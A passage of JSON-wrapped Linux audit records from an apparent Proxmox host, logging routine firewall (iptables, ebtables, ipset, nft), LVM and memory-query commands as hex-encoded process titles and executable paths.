cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965192116,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965192.116:64555): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966040170,"@rawstring":"node=pve type=PATH msg=audit(1781966040.170:68182): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965192116,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965192.116:64554): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966040170,"@rawstring":"node=pve type=PATH msg=audit(1781966040.170:68181): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965192116,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965192.116:64553): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966035924,"@rawstring":"node=pve type=PATH msg=audit(1781966035.924:68180): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965187105,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965187.105:64552): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966035924,"@rawstring":"node=pve type=PATH msg=audit(1781966035.924:68180): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965187105,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965187.105:64551): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966035917,"@rawstring":"node=pve type=PATH msg=audit(1781966035.917:68179): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965187105,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965187.105:64550): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966035917,"@rawstring":"node=pve type=PATH msg=audit(1781966035.917:68179): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965187098,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965187.098:64549): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966035915,"@rawstring":"node=pve type=PATH msg=audit(1781966035.915:68178): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965187098,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965187.098:64548): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966035915,"@rawstring":"node=pve type=PATH msg=audit(1781966035.915:68178): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965187098,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965187.098:64547): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966035915,"@rawstring":"node=pve type=PATH msg=audit(1781966035.915:68177): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185738,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965185.738:64546): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966035911,"@rawstring":"node=pve type=PATH msg=audit(1781966035.911:68176): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185731,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965185.731:64545): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966035911,"@rawstring":"node=pve type=PATH msg=audit(1781966035.911:68176): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185730,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965185.730:64544): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966035911,"@rawstring":"node=pve type=PATH msg=audit(1781966035.911:68176): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185730,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965185.730:64543): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966035904,"@rawstring":"node=pve type=PATH msg=audit(1781966035.904:68175): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185723,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965185.723:64542): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966035904,"@rawstring":"node=pve type=PATH msg=audit(1781966035.904:68175): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185715,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965185.715:64541): proctitle=\"ip6tables-save\""} {"@timestamp":1781966035896,"@rawstring":"node=pve type=PATH msg=audit(1781966035.896:68174): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185709,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965185.709:64540): proctitle=\"iptables-save\""} {"@timestamp":1781966035896,"@rawstring":"node=pve type=PATH msg=audit(1781966035.896:68174): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185703,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965185.703:64539): proctitle=\"ip6tables-save\""} {"@timestamp":1781966035886,"@rawstring":"node=pve type=PATH msg=audit(1781966035.886:68173): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185695,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965185.695:64538): proctitle=\"iptables-save\""} {"@timestamp":1781966035886,"@rawstring":"node=pve type=PATH msg=audit(1781966035.886:68173): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185691,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965185.691:64537): proctitle=\"ebtables-restore\""} {"@timestamp":1781966035878,"@rawstring":"node=pve type=PATH msg=audit(1781966035.878:68172): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185689,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965185.689:64536): proctitle=\"ebtables-restore\""} {"@timestamp":1781966035878,"@rawstring":"node=pve type=PATH msg=audit(1781966035.878:68172): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185685,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965185.685:64535): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966035865,"@rawstring":"node=pve type=PATH msg=audit(1781966035.865:68170): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185678,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965185.678:64534): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966035865,"@rawstring":"node=pve type=PATH msg=audit(1781966035.865:68170): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185672,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965185.672:64533): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966035859,"@rawstring":"node=pve type=PATH msg=audit(1781966035.859:68169): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185669,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965185.669:64532): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966035859,"@rawstring":"node=pve type=PATH msg=audit(1781966035.859:68169): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185663,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965185.663:64531): proctitle=697073657400726573746F7265"} {"@timestamp":1781966035854,"@rawstring":"node=pve type=PATH msg=audit(1781966035.854:68168): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185655,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965185.655:64530): proctitle=\"ip6tables-save\""} {"@timestamp":1781966035854,"@rawstring":"node=pve type=PATH msg=audit(1781966035.854:68168): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185649,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965185.649:64529): proctitle=\"iptables-save\""} {"@timestamp":1781966035847,"@rawstring":"node=pve type=PATH msg=audit(1781966035.847:68167): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185645,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965185.645:64528): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966035847,"@rawstring":"node=pve type=PATH msg=audit(1781966035.847:68167): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185642,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965185.642:64527): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966035838,"@rawstring":"node=pve type=PATH msg=audit(1781966035.838:68166): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185640,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965185.640:64526): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966035838,"@rawstring":"node=pve type=PATH msg=audit(1781966035.838:68166): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185640,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965185.640:64525): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966035833,"@rawstring":"node=pve type=PATH msg=audit(1781966035.833:68165): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185637,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965185.637:64524): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966035833,"@rawstring":"node=pve type=PATH msg=audit(1781966035.833:68165): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185627,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965185.627:64523): proctitle=\"ip6tables-save\""} {"@timestamp":1781966035823,"@rawstring":"node=pve type=PATH msg=audit(1781966035.823:68164): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185619,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965185.619:64522): proctitle=\"iptables-save\""} {"@timestamp":1781966035823,"@rawstring":"node=pve type=PATH msg=audit(1781966035.823:68164): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185613,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965185.613:64521): proctitle=69707365740073617665"} {"@timestamp":1781966035817,"@rawstring":"node=pve type=PATH msg=audit(1781966035.817:68163): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185601,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965185.601:64520): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966035817,"@rawstring":"node=pve type=PATH msg=audit(1781966035.817:68163): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185593,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965185.593:64519): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966035811,"@rawstring":"node=pve type=PATH msg=audit(1781966035.811:68162): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965184426,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965184.426:64518): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966035811,"@rawstring":"node=pve type=PATH msg=audit(1781966035.811:68162): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965184404,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965184.404:64517): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966035808,"@rawstring":"node=pve type=PATH msg=audit(1781966035.808:68161): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965182091,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965182.091:64516): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966035808,"@rawstring":"node=pve type=PATH msg=audit(1781966035.808:68161): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965182091,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965182.091:64515): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966035808,"@rawstring":"node=pve type=PATH msg=audit(1781966035.808:68160): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965182091,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965182.091:64514): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966035808,"@rawstring":"node=pve type=PATH msg=audit(1781966035.808:68160): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965182086,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965182.086:64513): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966035807,"@rawstring":"node=pve type=PATH msg=audit(1781966035.807:68159): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965182085,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965182.085:64512): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966035803,"@rawstring":"node=pve type=PATH msg=audit(1781966035.803:68158): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965182085,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965182.085:64511): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966035803,"@rawstring":"node=pve type=PATH msg=audit(1781966035.803:68158): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965180242,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965180.242:64510): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781966035803,"@rawstring":"node=pve type=PATH msg=audit(1781966035.803:68158): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965180242,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965180.242:64509): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781966035796,"@rawstring":"node=pve type=PATH msg=audit(1781966035.796:68157): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965180239,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965180.239:64508): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781966035796,"@rawstring":"node=pve type=PATH msg=audit(1781966035.796:68157): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965177079,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965177.079:64507): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966035787,"@rawstring":"node=pve type=PATH msg=audit(1781966035.787:68156): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965177079,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965177.079:64506): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966035787,"@rawstring":"node=pve type=PATH msg=audit(1781966035.787:68156): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965177079,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965177.079:64505): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966035778,"@rawstring":"node=pve type=PATH msg=audit(1781966035.778:68155): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965177071,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965177.071:64504): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966035778,"@rawstring":"node=pve type=PATH msg=audit(1781966035.778:68155): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965177071,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965177.071:64503): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966035770,"@rawstring":"node=pve type=PATH msg=audit(1781966035.770:68154): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965177071,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965177.071:64502): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966035770,"@rawstring":"node=pve type=PATH msg=audit(1781966035.770:68154): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175575,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965175.575:64501): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966035761,"@rawstring":"node=pve type=PATH msg=audit(1781966035.761:68153): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175567,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965175.567:64500): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966035761,"@rawstring":"node=pve type=PATH msg=audit(1781966035.761:68153): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175564,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965175.564:64499): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966035163,"@rawstring":"node=pve type=PATH msg=audit(1781966035.163:68152): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175564,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965175.564:64498): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966035163,"@rawstring":"node=pve type=PATH msg=audit(1781966035.163:68152): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965175559,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965175.559:64497): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966035163,"@rawstring":"node=pve 